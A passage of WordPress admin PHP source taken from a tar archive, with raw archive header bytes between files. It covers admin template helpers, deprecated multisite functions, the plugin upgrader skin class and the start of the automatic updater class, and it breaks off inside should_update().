 * The password is passed through esc_attr() to ensure that it is safe for placing in an HTML attribute.
 *
 * @since 2.7.0
 */
function the_post_password() {
	$post = get_post();
	if ( isset( $post->post_password ) ) {
		echo esc_attr( $post->post_password );
	}
}

/**
 * Get the post title.
 *
 * The post title is fetched and if it is blank then a default string is
 * returned.
 *
 * @since 2.7.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The post title if set.
 */
function _draft_or_post_title( $post = 0 ) {
	$title = get_the_title( $post );
	if ( empty( $title ) ) {
		$title = __( '(no title)' );
	}
	return esc_html( $title );
}

/**
 * Displays the search query.
 *
 * A simple wrapper to display the "s" parameter in a `GET` URI. This function
 * should only be used when the_search_query() cannot.
 *
 * @since 2.7.0
 */
function _admin_search_query() {
	echo isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
}

/**
 * Generic Iframe header for use with Thickbox
 *
 * @since 2.7.0
 *
 * @global string    $hook_suffix
 * @global string    $admin_body_class
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 *
 * @param string $title      Optional. Title of the Iframe page. Default empty.
 * @param bool   $deprecated Not used.
 */
function iframe_header( $title = '', $deprecated = false ) {
	show_admin_bar( false );
	global $hook_suffix, $admin_body_class, $wp_locale;
	$admin_body_class = preg_replace( '/[^a-z0-9_-]+/i', '-', $hook_suffix );

$current_screen = get_current_screen();

header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
	_wp_admin_html_begin();
	?>
<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php echo $title; ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php
	wp_enqueue_style( 'colors' );
	?>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
	isRtl = <?php echo (int) is_rtl(); ?>;
</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', $hook_suffix );

/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_styles-{$hook_suffix}" );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_head-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );

if ( is_rtl() ) {
		$admin_body_class .= ' rtl';
	}

?>
</head>
	<?php
	/**
	 * @global string $body_id
	 */
	$admin_body_id = isset( $GLOBALS['body_id'] ) ? 'id="' . $GLOBALS['body_id'] . '" ' : '';

/** This filter is documented in wp-admin/admin-header.php */
	$admin_body_classes = apply_filters( 'admin_body_class', '' );
	$admin_body_classes = ltrim( $admin_body_classes . ' ' . $admin_body_class );
	?>
<body <?php echo $admin_body_id; ?>class="wp-admin wp-core-ui no-js iframe <?php echo $admin_body_classes; ?>">
<script type="text/javascript">
(function(){
var c = document.body.className;
c = c.replace(/no-js/, 'js');
document.body.className = c;
})();
</script>
	<?php
}

/**
 * Generic Iframe footer for use with Thickbox
 *
 * @since 2.7.0
 */
function iframe_footer() {
	/*
	 * We're going to hide any footer output on iFrame pages,
	 * but run the hooks anyway since they output JavaScript
	 * or other needed content.
	 */

/**
	 * @global string $hook_suffix
	 */
	global $hook_suffix;
	?>
	<div class="hidden">
	<?php
	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_footer', $hook_suffix );

/** This action is documented in wp-admin/admin-footer.php */
	do_action( "admin_print_footer_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );
	?>
	</div>
<script type="text/javascript">if(typeof wpOnload=="function")wpOnload();</script>
</body>
</html>
	<?php
}

/**
 * Function to echo or return the post states as HTML.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$echo` parameter and a return value.
 *
 * @see get_post_states()
 *
 * @param WP_Post $post The post to retrieve states for.
 * @param bool    $echo Optional. Whether to echo the post states as an HTML string. Default true.
 * @return string Post states string.
 */
function _post_states( $post, $echo = true ) {
	$post_states        = get_post_states( $post );
	$post_states_string = '';

if ( ! empty( $post_states ) ) {
		$state_count = count( $post_states );
		$i           = 0;

$post_states_string .= ' &mdash; ';

foreach ( $post_states as $state ) {
			$sep = ( ++$i === $state_count ) ? '' : ', ';

$post_states_string .= "<span class='post-state'>$state$sep</span>";
		}
	}

if ( $echo ) {
		echo $post_states_string;
	}

return $post_states_string;
}

/**
 * Retrieves an array of post states from a post.
 *
 * @since 5.3.0
 *
 * @param WP_Post $post The post to retrieve states for.
 * @return string[] Array of post state labels keyed by their state.
 */
function get_post_states( $post ) {
	$post_states = array();

if ( isset( $_REQUEST['post_status'] ) ) {
		$post_status = $_REQUEST['post_status'];
	} else {
		$post_status = '';
	}

if ( ! empty( $post->post_password ) ) {
		$post_states['protected'] = _x( 'Password protected', 'post status' );
	}

if ( 'private' === $post->post_status && 'private' !== $post_status ) {
		$post_states['private'] = _x( 'Private', 'post status' );
	}

if ( 'draft' === $post->post_status ) {
		if ( get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
			$post_states[] = __( 'Customization Draft' );
		} elseif ( 'draft' !== $post_status ) {
			$post_states['draft'] = _x( 'Draft', 'post status' );
		}
	} elseif ( 'trash' === $post->post_status && get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
		$post_states[] = _x( 'Customization Draft', 'post status' );
	}

if ( 'pending' === $post->post_status && 'pending' !== $post_status ) {
		$post_states['pending'] = _x( 'Pending', 'post status' );
	}

if ( is_sticky( $post->ID ) ) {
		$post_states['sticky'] = _x( 'Sticky', 'post status' );
	}

if ( 'future' === $post->post_status ) {
		$post_states['scheduled'] = _x( 'Scheduled', 'post status' );
	}

if ( 'page' === get_option( 'show_on_front' ) ) {
		if ( intval( get_option( 'page_on_front' ) ) === $post->ID ) {
			$post_states['page_on_front'] = _x( 'Front Page', 'page label' );
		}

if ( intval( get_option( 'page_for_posts' ) ) === $post->ID ) {
			$post_states['page_for_posts'] = _x( 'Posts Page', 'page label' );
		}
	}

if ( intval( get_option( 'wp_page_for_privacy_policy' ) ) === $post->ID ) {
		$post_states['page_for_privacy_policy'] = _x( 'Privacy Policy Page', 'page label' );
	}

/**
	 * Filters the default post display states used in the posts list table.
	 *
	 * @since 2.8.0
	 * @since 3.6.0 Added the `$post` parameter.
	 * @since 5.5.0 Also applied in the Customizer context. If any admin functions
	 *              are used within the filter, their existence should be checked
	 *              with `function_exists()` before being used.
	 *
	 * @param string[] $post_states An array of post display states.
	 * @param WP_Post  $post        The current post object.
	 */
	return apply_filters( 'display_post_states', $post_states, $post );
}

/**
 * Outputs the attachment media states as HTML.
 *
 * @since 3.2.0
 *
 * @param WP_Post $post The attachment post to retrieve states for.
 */
function _media_states( $post ) {
	static $header_images;

$media_states = array();
	$stylesheet   = get_option( 'stylesheet' );

if ( current_theme_supports( 'custom-header' ) ) {
		$meta_header = get_post_meta( $post->ID, '_wp_attachment_is_custom_header', true );

if ( is_random_header_image() ) {
			if ( ! isset( $header_images ) ) {
				$header_images = wp_list_pluck( get_uploaded_header_images(), 'attachment_id' );
			}

if ( $meta_header === $stylesheet && in_array( $post->ID, $header_images, true ) ) {
				$media_states[] = __( 'Header Image' );
			}
		} else {
			$header_image = get_header_image();

// Display "Header Image" if the image was ever used as a header image.
			if ( ! empty( $meta_header ) && $meta_header === $stylesheet && wp_get_attachment_url( $post->ID ) !== $header_image ) {
				$media_states[] = __( 'Header Image' );
			}

// Display "Current Header Image" if the image is currently the header image.
			if ( $header_image && wp_get_attachment_url( $post->ID ) === $header_image ) {
				$media_states[] = __( 'Current Header Image' );
			}
		}
	}

if ( current_theme_supports( 'custom-background' ) ) {
		$meta_background = get_post_meta( $post->ID, '_wp_attachment_is_custom_background', true );

if ( ! empty( $meta_background ) && $meta_background === $stylesheet ) {
			$media_states[] = __( 'Background Image' );

$background_image = get_background_image();
			if ( $background_image && wp_get_attachment_url( $post->ID ) === $background_image ) {
				$media_states[] = __( 'Current Background Image' );
			}
		}
	}

if ( (int) get_option( 'site_icon' ) === $post->ID ) {
		$media_states[] = __( 'Site Icon' );
	}

if ( (int) get_theme_mod( 'custom_logo' ) === $post->ID ) {
		$media_states[] = __( 'Logo' );
	}

/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 3.2.0
	 * @since 4.8.0 Added the `$post` parameter.
	 *
	 * @param string[] $media_states An array of media states. Default 'Header Image',
	 *                               'Background Image', 'Site Icon', 'Logo'.
	 * @param WP_Post  $post         The current attachment object.
	 */
	$media_states = apply_filters( 'display_media_states', $media_states, $post );

if ( ! empty( $media_states ) ) {
		$state_count = count( $media_states );
		$i           = 0;

echo ' &mdash; ';

foreach ( $media_states as $state ) {
			$sep = ( ++$i === $state_count ) ? '' : ', ';

echo "<span class='post-state'>$state$sep</span>";
		}
	}
}

/**
 * Test support for compressing JavaScript from PHP
 *
 * Outputs JavaScript that tests if compression from PHP works as expected
 * and sets an option with the result. Has no effect when the current user
 * is not an administrator. To run the test again the option 'can_compress_scripts'
 * has to be deleted.
 *
 * @since 2.8.0
 */
function compression_test() {
	?>
	<script type="text/javascript">
	var compressionNonce = <?php echo wp_json_encode( wp_create_nonce( 'update_can_compress_scripts' ) ); ?>;
	var testCompression = {
		get : function(test) {
			var x;
			if ( window.XMLHttpRequest ) {
				x = new XMLHttpRequest();
			} else {
				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
			}

if (x) {
				x.onreadystatechange = function() {
					var r, h;
					if ( x.readyState == 4 ) {
						r = x.responseText.substr(0, 18);
						h = x.getResponseHeader('Content-Encoding');
						testCompression.check(r, h, test);
					}
				};

x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&_ajax_nonce='+compressionNonce+'&'+(new Date()).getTime(), true);
				x.send('');
			}
		},

check : function(r, h, test) {
			if ( ! r && ! test )
				this.get(1);

if ( 1 == test ) {
				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
					this.get('no');
				else
					this.get(2);

return;
			}

if ( 2 == test ) {
				if ( '"wpCompressionTest' === r )
					this.get('yes');
				else
					this.get('no');
			}
		}
	};
	testCompression.check();
	</script>
	<?php
}

/**
 * Echoes a submit button, with provided text and appropriate class(es).
 *
 * @since 3.1.0
 *
 * @see get_submit_button()
 *
 * @param string       $text             The text of the button (defaults to 'Save Changes')
 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary'.
 * @param string       $name             The HTML name of the submit button. Defaults to "submit". If no
 *                                       id attribute is given in $other_attributes below, $name will be
 *                                       used as the button's id.
 * @param bool         $wrap             True if the output button should be wrapped in a paragraph tag,
 *                                       false otherwise. Defaults to true.
 * @param array|string $other_attributes Other attributes that should be output with the button, mapping
 *                                       attributes to their values, such as setting tabindex to 1, etc.
 *                                       These key/value attribute pairs will be output as attribute="value",
 *                                       where attribute is the key. Other attributes can also be provided
 *                                       as a string such as 'tabindex="1"', though the array format is
 *                                       preferred. Default null.
 */
function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) {
	echo get_submit_button( $text, $type, $name, $wrap, $other_attributes );
}

/**
 * Returns a submit button, with provided text and appropriate class
 *
 * @since 3.1.0
 *
 * @param string       $text             Optional. The text of the button. Default 'Save Changes'.
 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary large'.
 * @param string       $name             Optional. The HTML name of the submit button. Defaults to "submit".
 *                                       If no id attribute is given in $other_attributes below, `$name` will
 *                                       be used as the button's id. Default 'submit'.
 * @param bool         $wrap             Optional. True if the output button should be wrapped in a paragraph
 *                                       tag, false otherwise. Default true.
 * @param array|string $other_attributes Optional. Other attributes that should be output with the button,
 *                                       mapping attributes to their values, such as `array( 'tabindex' => '1' )`.
 *                                       These attributes will be output as `attribute="value"`, such as
 *                                       `tabindex="1"`. Other attributes can also be provided as a string such
 *                                       as `tabindex="1"`, though the array format is typically cleaner.
 *                                       Default empty.
 * @return string Submit button HTML.
 */
function get_submit_button( $text = '', $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = '' ) {
	if ( ! is_array( $type ) ) {
		$type = explode( ' ', $type );
	}

$button_shorthand = array( 'primary', 'small', 'large' );
	$classes          = array( 'button' );

foreach ( $type as $t ) {
		if ( 'secondary' === $t || 'button-secondary' === $t ) {
			continue;
		}

$classes[] = in_array( $t, $button_shorthand, true ) ? 'button-' . $t : $t;
	}

// Remove empty items, remove duplicate items, and finally build a string.
	$class = implode( ' ', array_unique( array_filter( $classes ) ) );

$text = $text ? $text : __( 'Save Changes' );

// Default the id attribute to $name unless an id was specifically provided in $other_attributes.
	$id = $name;
	if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) {
		$id = $other_attributes['id'];
		unset( $other_attributes['id'] );
	}

$attributes = '';
	if ( is_array( $other_attributes ) ) {
		foreach ( $other_attributes as $attribute => $value ) {
			$attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important.
		}
	} elseif ( ! empty( $other_attributes ) ) { // Attributes provided as a string.
		$attributes = $other_attributes;
	}

// Don't output empty name and id attributes.
	$name_attr = $name ? ' name="' . esc_attr( $name ) . '"' : '';
	$id_attr   = $id ? ' id="' . esc_attr( $id ) . '"' : '';

$button  = '<input type="submit"' . $name_attr . $id_attr . ' class="' . esc_attr( $class );
	$button .= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />';

if ( $wrap ) {
		$button = '<p class="submit">' . $button . '</p>';
	}

return $button;
}

/**
 * @global bool $is_IE
 */
function _wp_admin_html_begin() {
	global $is_IE;

$admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : '';

if ( $is_IE ) {
		header( 'X-UA-Compatible: IE=edge' );
	}

?>
<!DOCTYPE html>
<html class="<?php echo $admin_html_class; ?>"
	<?php
	/**
	 * Fires inside the HTML tag in the admin header.
	 *
	 * @since 2.2.0
	 */
	do_action( 'admin_xml_ns' );

language_attributes();
	?>
>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
	<?php
}

/**
 * Convert a screen string to a screen object
 *
 * @since 3.0.0
 *
 * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen.
 * @return WP_Screen Screen object.
 */
function convert_to_screen( $hook_name ) {
	if ( ! class_exists( 'WP_Screen' ) ) {
		_doing_it_wrong(
			'convert_to_screen(), add_meta_box()',
			sprintf(
				/* translators: 1: wp-admin/includes/template.php, 2: add_meta_box(), 3: add_meta_boxes */
				__( 'Likely direct inclusion of %1$s in order to use %2$s. This is very wrong. Hook the %2$s call into the %3$s action instead.' ),
				'<code>wp-admin/includes/template.php</code>',
				'<code>add_meta_box()</code>',
				'<code>add_meta_boxes</code>'
			),
			'3.3.0'
		);
		return (object) array(
			'id'   => '_invalid',
			'base' => '_are_belong_to_us',
		);
	}

return WP_Screen::get( $hook_name );
}

/**
 * Output the HTML for restoring the post data from DOM storage
 *
 * @since 3.6.0
 * @access private
 */
function _local_storage_notice() {
	?>
	<div id="local-storage-notice" class="hidden notice is-dismissible">
	<p class="local-restore">
		<?php _e( 'The backup of this post in your browser is different from the version below.' ); ?>
		<button type="button" class="button restore-backup"><?php _e( 'Restore the backup' ); ?></button>
	</p>
	<p class="help">
		<?php _e( 'This will replace the current editor content with the last backup version. You can use undo and redo in the editor to get the old content back or to return to the restored version.' ); ?>
	</p>
	</div>
	<?php
}

/**
 * Output a HTML element with a star rating for a given rating.
 *
 * Outputs a HTML element with the star rating exposed on a 0..5 scale in
 * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the
 * number of ratings may also be displayed by passing the $number parameter.
 *
 * @since 3.8.0
 * @since 4.4.0 Introduced the `echo` parameter.
 *
 * @param array $args {
 *     Optional. Array of star ratings arguments.
 *
 *     @type int|float $rating The rating to display, expressed in either a 0.5 rating increment,
 *                             or percentage. Default 0.
 *     @type string    $type   Format that the $rating is in. Valid values are 'rating' (default),
 *                             or, 'percent'. Default 'rating'.
 *     @type int       $number The number of ratings that makes up this rating. Default 0.
 *     @type bool      $echo   Whether to echo the generated markup. False to return the markup instead
 *                             of echoing it. Default true.
 * }
 * @return string Star rating HTML.
 */
function wp_star_rating( $args = array() ) {
	$defaults    = array(
		'rating' => 0,
		'type'   => 'rating',
		'number' => 0,
		'echo'   => true,
	);
	$parsed_args = wp_parse_args( $args, $defaults );

// Non-English decimal places when the $rating is coming from a string.
	$rating = (float) str_replace( ',', '.', $parsed_args['rating'] );

// Convert percentage to star rating, 0..5 in .5 increments.
	if ( 'percent' === $parsed_args['type'] ) {
		$rating = round( $rating / 10, 0 ) / 2;
	}

// Calculate the number of each type of star needed.
	$full_stars  = floor( $rating );
	$half_stars  = ceil( $rating - $full_stars );
	$empty_stars = 5 - $full_stars - $half_stars;

if ( $parsed_args['number'] ) {
		/* translators: 1: The rating, 2: The number of ratings. */
		$format = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $parsed_args['number'] );
		$title  = sprintf( $format, number_format_i18n( $rating, 1 ), number_format_i18n( $parsed_args['number'] ) );
	} else {
		/* translators: %s: The rating. */
		$title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) );
	}

$output  = '<div class="star-rating">';
	$output .= '<span class="screen-reader-text">' . $title . '</span>';
	$output .= str_repeat( '<div class="star star-full" aria-hidden="true"></div>', $full_stars );
	$output .= str_repeat( '<div class="star star-half" aria-hidden="true"></div>', $half_stars );
	$output .= str_repeat( '<div class="star star-empty" aria-hidden="true"></div>', $empty_stars );
	$output .= '</div>';

if ( $parsed_args['echo'] ) {
		echo $output;
	}

return $output;
}

/**
 * Output a notice when editing the page for posts (internal use only).
 *
 * @ignore
 * @since 4.2.0
 */
function _wp_posts_page_notice() {
	echo '<div class="notice notice-warning inline"><p>' . __( 'You are currently editing the page that shows your latest posts.' ) . '</p></div>';
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ms-deprecated.php�����������������������������������������������������������������������������������0000604�����������������00000005727�15075125355�0010011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Multisite: Deprecated admin functions from past versions and WordPress MU
 *
 * These functions should not be used and will be removed in a later version.
 * It is suggested to use for the alternatives instead when available.
 *
 * @package WordPress
 * @subpackage Deprecated
 * @since 3.0.0
 */

/**
 * Outputs the WPMU menu.
 *
 * @deprecated 3.0.0
 */
function wpmu_menu() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	// Deprecated. See #11763.
}

/**
 * Determines if the available space defined by the admin has been exceeded by the user.
 *
 * @deprecated 3.0.0 Use is_upload_space_available()
 * @see is_upload_space_available()
 */
function wpmu_checkAvailableSpace() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_upload_space_available()' );

if ( ! is_upload_space_available() ) {
		wp_die( sprintf(
			/* translators: %s: Allowed space allocation. */
			__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
			size_format( get_space_allowed() * MB_IN_BYTES )
		) );
	}
}

/**
 * WPMU options.
 *
 * @deprecated 3.0.0
 */
function mu_options( $options ) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	return $options;
}

/**
 * Deprecated functionality for activating a network-only plugin.
 *
 * @deprecated 3.0.0 Use activate_plugin()
 * @see activate_plugin()
 */
function activate_sitewide_plugin() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'activate_plugin()' );
	return false;
}

/**
 * Deprecated functionality for deactivating a network-only plugin.
 *
 * @deprecated 3.0.0 Use deactivate_plugin()
 * @see deactivate_plugin()
 */
function deactivate_sitewide_plugin( $plugin = false ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'deactivate_plugin()' );
}

/**
 * Deprecated functionality for determining if the current plugin is network-only.
 *
 * @deprecated 3.0.0 Use is_network_only_plugin()
 * @see is_network_only_plugin()
 */
function is_wpmu_sitewide_plugin( $file ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_network_only_plugin()' );
	return is_network_only_plugin( $file );
}

/**
 * Deprecated functionality for getting themes network-enabled themes.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_network()
 * @see WP_Theme::get_allowed_on_network()
 */
function get_site_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_network()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
}

/**
 * Deprecated functionality for getting themes allowed on a specific site.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_site()
 * @see WP_Theme::get_allowed_on_site()
 */
function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_site()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
}

/**
 * Deprecated functionality for determining whether a file is deprecated.
 *
 * @deprecated 3.5.0
 */
function ms_deprecated_blogs_file() {}
�����������������������������������������class-plugin-upgrader-skin.php����������������������������������������������������������������������0000604�����������������00000006321�15075125355�0012435 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {

/**
	 * Holds the plugin slug in the Plugin Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var object
	 */
	public $plugin = '';

/**
	 * Whether the plugin is active.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_active = false;

/**
	 * Whether the plugin is active for the entire network.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_network_active = false;

/**
	 * Constructor.
	 *
	 * Sets up the plugin upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The plugin upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'    => '',
			'plugin' => '',
			'nonce'  => '',
			'title'  => __( 'Update Plugin' ),
		);
		$args     = wp_parse_args( $args, $defaults );

$this->plugin = $args['plugin'];

$this->plugin_active         = is_plugin_active( $this->plugin );
		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );

parent::__construct( $args );
	}

/**
	 * Action to perform following a single plugin update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->plugin = $this->upgrader->plugin_info();
		if ( ! empty( $this->plugin ) && ! is_wp_error( $this->result ) && $this->plugin_active ) {
			// Currently used only when JS is off for a single plugin update?
			printf(
				'<iframe title="%s" style="border:0;overflow:hidden" width="100%%" height="170" src="%s"></iframe>',
				esc_attr__( 'Update progress' ),
				wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin )
			);
		}

$this->decrement_update_count( 'plugin' );

$update_actions = array(
			'activate_plugin' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ),
				__( 'Activate Plugin' )
			),
			'plugins_page'    => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Return to Plugins page' )
			),
		);

if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) ) {
			unset( $update_actions['activate_plugin'] );
		}

/**
		 * Filters the list of action links available following a single plugin update.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param string   $plugin         Path to the plugin file relative to the plugins directory.
		 */
		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );

if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-automatic-updater.php����������������������������������������������������������������������0000604�����������������00000136074�15075125355�0012453 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrade API: WP_Automatic_Updater class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling automatic background updates.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
class WP_Automatic_Updater {

/**
	 * Tracks update results during processing.
	 *
	 * @var array
	 */
	protected $update_results = array();

/**
	 * Whether the entire automatic updater is disabled.
	 *
	 * @since 3.7.0
	 */
	public function is_disabled() {
		// Background updates are disabled if you don't want file changes.
		if ( ! wp_is_file_mod_allowed( 'automatic_updater' ) ) {
			return true;
		}

if ( wp_installing() ) {
			return true;
		}

// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;

/**
		 * Filters whether to entirely disable background updates.
		 *
		 * There are more fine-grained filters and controls for selective disabling.
		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
		 *
		 * This also disables update notification emails. That may change in the future.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $disabled Whether the updater should be disabled.
		 */
		return apply_filters( 'automatic_updater_disabled', $disabled );
	}

/**
	 * Check for version control checkouts.
	 *
	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
	 * filesystem to the top of the drive, erring on the side of detecting a VCS
	 * checkout somewhere.
	 *
	 * ABSPATH is always checked in addition to whatever $context is (which may be the
	 * wp-content directory, for example). The underlying assumption is that if you are
	 * using version control *anywhere*, then you should be making decisions for
	 * how things get updated.
	 *
	 * @since 3.7.0
	 *
	 * @param string $context The filesystem path to check, in addition to ABSPATH.
	 */
	public function is_vcs_checkout( $context ) {
		$context_dirs = array( untrailingslashit( $context ) );
		if ( ABSPATH !== $context ) {
			$context_dirs[] = untrailingslashit( ABSPATH );
		}

$vcs_dirs   = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs = array();

foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

$check_dirs = array_unique( $check_dirs );

// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				$checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" );
				if ( $checkout ) {
					break 2;
				}
			}
		}

/**
		 * Filters whether the automatic updater should consider a filesystem
		 * location to be potentially managed by a version control system.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $checkout  Whether a VCS checkout was discovered at $context
		 *                        or ABSPATH, or anywhere higher.
		 * @param string $context The filesystem context (a path) against which
		 *                        filesystem status should be checked.
		 */
		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
	}

/**
	 * Tests to see if we can and should update a specific item.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $type    The type of update being checked: 'core', 'theme',
	 *                        'plugin', 'translation'.
	 * @param object $item    The update offer.
	 * @param string $context The filesystem context (a path) against which filesystem
	 *                        access and status should be checked.
	 */
	public function should_update( $type, $item, $context ) {
		// Used to see if WP_Filesystem is set up to allow unattended updates.
		$skin = new Automatic_Upgrader_Skin;

if ( $this->is_disabled() ) {
			return false;
		}

// Only relax the filesystem checks when the update doesn't include new files.
		$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

